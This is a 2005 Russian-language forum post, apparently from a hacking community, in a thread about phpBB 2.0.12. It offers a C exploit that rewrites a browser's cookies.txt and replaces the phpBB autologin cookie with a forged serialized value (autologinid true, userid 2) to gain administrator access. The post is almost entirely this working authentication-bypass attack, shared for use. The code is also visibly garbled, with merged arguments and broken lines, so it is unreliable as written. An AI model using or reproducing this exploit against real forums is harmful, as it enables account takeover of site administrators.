Тема: Phpbb 2.0.12
Показать сообщение отдельно

  #2  
Старый 01.03.2005, 12:33
(-=util=-)
Постоянный
Регистрация: 02.12.2004
Сообщений: 352
Провел на форуме:
307649

Репутация: 67
Отправить сообщение для (-=util=-) с помощью ICQ
По умолчанию

блин опередил =\ Добавляю expl
PHP код:
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argcchar** argv[]) {
FILE *pointer;
char contenido[10000],

cookie[91]="a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0
%3A%22%22%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%22"
,
cookief[9]="%22%3B%7D"cookiec[106],

cookie_false[92]="a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb
%3A1%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D"
,
*
pos;
int p=0i=0;

if (
argc!=2) {
printf("Usage: phpbb_exploit.exe user_id\n\n");
exit(
0);
}
pointer=fopen("cookies.txt""r");

if (
pointer) {
fread(contenido30010pointer);
fclose(pointer);
} else {
printf("The file can't be open\n");
exit(
0);
}

strcpy(cookieccookie);
strncat(cookiecargv[1], 6);
strcat(cookieccookief);

if (
pos=strstr(contenidocookiec)) {
p=pos contenido;
while (
i<92) {
if (
cookie_false[i]!=NULL
contenido[p]=cookie_false[i];
p++;
i++;
}
}
else {
printf("The file cookies.txt isn't valid for execute the
exploit or the user id is incorrect\n"
);
exit(
0);
}

if (
pointer=fopen("cookies.txt""w")) {
fputs(contenidopointer);
printf("Cookie modified: \n\n%s\n\n"contenido);
printf("The cookies file has overwriten... looks like the exploit has worked");
} else 
printf("\n\nThe file cookies.txt has not write permissions.");
return 
0;